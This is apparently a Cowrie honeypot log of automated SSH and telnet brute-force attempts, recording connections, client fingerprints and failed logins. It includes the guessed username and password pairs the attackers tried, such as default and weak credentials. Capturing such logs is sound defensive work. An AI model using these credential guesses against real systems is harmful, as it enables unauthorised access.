{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:16:22.057732Z","src_ip":"119.28.9.170","session":"787ad70dd6ae","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Abc12345678!","message":"login attempt [ubuntu/Abc12345678!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:16:22.912940Z","src_ip":"119.28.9.170","session":"787ad70dd6ae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:16:24.121659Z","src_ip":"119.28.9.170","session":"787ad70dd6ae","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.145.0.61","src_port":56756,"dst_ip":"159.203.135.109","dst_port":22,"session":"c4d596c606e9","protocol":"ssh","message":"New connection: 202.145.0.61:56756 (159.203.135.109:22) [session: c4d596c606e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:16:49.170771Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:16:49.175622Z","src_ip":"202.145.0.61","session":"c4d596c606e9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:16:49.410007Z","src_ip":"202.145.0.61","session":"c4d596c606e9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu.2026","message":"login attempt [ubuntu/ubuntu.2026] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:16:50.373167Z","src_ip":"202.145.0.61","session":"c4d596c606e9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:16:51.609409Z","src_ip":"202.145.0.61","session":"c4d596c606e9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"119.28.9.170","src_port":58012,"dst_ip":"159.203.135.109","dst_port":22,"session":"2906bd76ee63","protocol":"ssh","message":"New connection: 119.28.9.170:58012 (159.203.135.109:22) [session: 2906bd76ee63]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:17:13.283450Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:17:13.292515Z","src_ip":"119.28.9.170","session":"2906bd76ee63","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:17:13.500923Z","src_ip":"119.28.9.170","session":"2906bd76ee63","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"backuptest","password":"backuptest","message":"login attempt [backuptest/backuptest] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:17:14.362932Z","src_ip":"119.28.9.170","session":"2906bd76ee63","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:17:15.574718Z","src_ip":"119.28.9.170","session":"2906bd76ee63","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.145.0.61","src_port":45252,"dst_ip":"159.203.135.109","dst_port":22,"session":"677477d2d8c8","protocol":"ssh","message":"New connection: 202.145.0.61:45252 (159.203.135.109:22) [session: 677477d2d8c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:17:42.823947Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:17:42.827549Z","src_ip":"202.145.0.61","session":"677477d2d8c8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:17:43.068497Z","src_ip":"202.145.0.61","session":"677477d2d8c8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kafka","password":"kafka@123","message":"login attempt [kafka/kafka@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:17:44.062490Z","src_ip":"202.145.0.61","session":"677477d2d8c8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:17:45.307144Z","src_ip":"202.145.0.61","session":"677477d2d8c8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.56","src_port":23022,"dst_ip":"159.203.135.109","dst_port":22,"session":"3a499086daab","protocol":"ssh","message":"New connection: 213.209.159.56:23022 (159.203.135.109:22) [session: 3a499086daab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:17:57.297399Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:17:57.339289Z","src_ip":"213.209.159.56","session":"3a499086daab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:17:57.422189Z","src_ip":"213.209.159.56","session":"3a499086daab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kobie","password":"kobie","message":"login attempt [kobie/kobie] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:17:57.799246Z","src_ip":"213.209.159.56","session":"3a499086daab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kobie","password":"kobie1","message":"login attempt [kobie/kobie1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:17:58.885230Z","src_ip":"213.209.159.56","session":"3a499086daab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kobie","password":"kobie123","message":"login attempt [kobie/kobie123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:18:00.030384Z","src_ip":"213.209.159.56","session":"3a499086daab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kobie","password":"kobie1234","message":"login attempt [kobie/kobie1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:18:01.117080Z","src_ip":"213.209.159.56","session":"3a499086daab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kobie","password":"kobie12345","message":"login attempt [kobie/kobie12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:18:02.202827Z","src_ip":"213.209.159.56","session":"3a499086daab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"119.28.9.170","src_port":45948,"dst_ip":"159.203.135.109","dst_port":22,"session":"fabaed6fd636","protocol":"ssh","message":"New connection: 119.28.9.170:45948 (159.203.135.109:22) [session: fabaed6fd636]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:18:03.214299Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:18:03.219774Z","src_ip":"119.28.9.170","session":"fabaed6fd636","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.0","message":"Connection lost after 6.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:18:03.291594Z","src_ip":"213.209.159.56","session":"3a499086daab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:18:03.429152Z","src_ip":"119.28.9.170","session":"fabaed6fd636","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"adminuser","password":"P@ssw0rd","message":"login attempt [adminuser/P@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:18:04.282886Z","src_ip":"119.28.9.170","session":"fabaed6fd636","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:18:05.492865Z","src_ip":"119.28.9.170","session":"fabaed6fd636","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":41072,"dst_ip":"159.203.135.109","dst_port":23,"session":"cbb2cf6da25c","protocol":"telnet","message":"New connection: 135.148.33.91:41072 (159.203.135.109:23) [session: cbb2cf6da25c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:18:33.297046Z"}
{"eventid":"cowrie.session.connect","src_ip":"223.233.84.127","src_port":12993,"dst_ip":"10.17.0.5","dst_port":22,"session":"a1cc0502643b","protocol":"ssh","message":"New connection: 223.233.84.127:12993 (10.17.0.5:22) [session: a1cc0502643b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:18:33.795796Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:18:33.896342Z","src_ip":"223.233.84.127","session":"a1cc0502643b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:18:34.141432Z","src_ip":"223.233.84.127","session":"a1cc0502643b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu2018","message":"login attempt [ubuntu/ubuntu2018] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:18:35.126247Z","src_ip":"223.233.84.127","session":"a1cc0502643b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:18:36.378776Z","src_ip":"223.233.84.127","session":"a1cc0502643b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.145.0.61","src_port":33742,"dst_ip":"159.203.135.109","dst_port":22,"session":"57a3bf7cc6f7","protocol":"ssh","message":"New connection: 202.145.0.61:33742 (159.203.135.109:22) [session: 57a3bf7cc6f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:18:37.391764Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:18:37.401477Z","src_ip":"202.145.0.61","session":"57a3bf7cc6f7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:18:37.643024Z","src_ip":"202.145.0.61","session":"57a3bf7cc6f7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sshuser","password":"123","message":"login attempt [sshuser/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:18:38.638915Z","src_ip":"202.145.0.61","session":"57a3bf7cc6f7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:18:39.883373Z","src_ip":"202.145.0.61","session":"57a3bf7cc6f7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"119.28.9.170","src_port":33882,"dst_ip":"159.203.135.109","dst_port":22,"session":"6a8301bceb57","protocol":"ssh","message":"New connection: 119.28.9.170:33882 (159.203.135.109:22) [session: 6a8301bceb57]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:18:51.813814Z"}
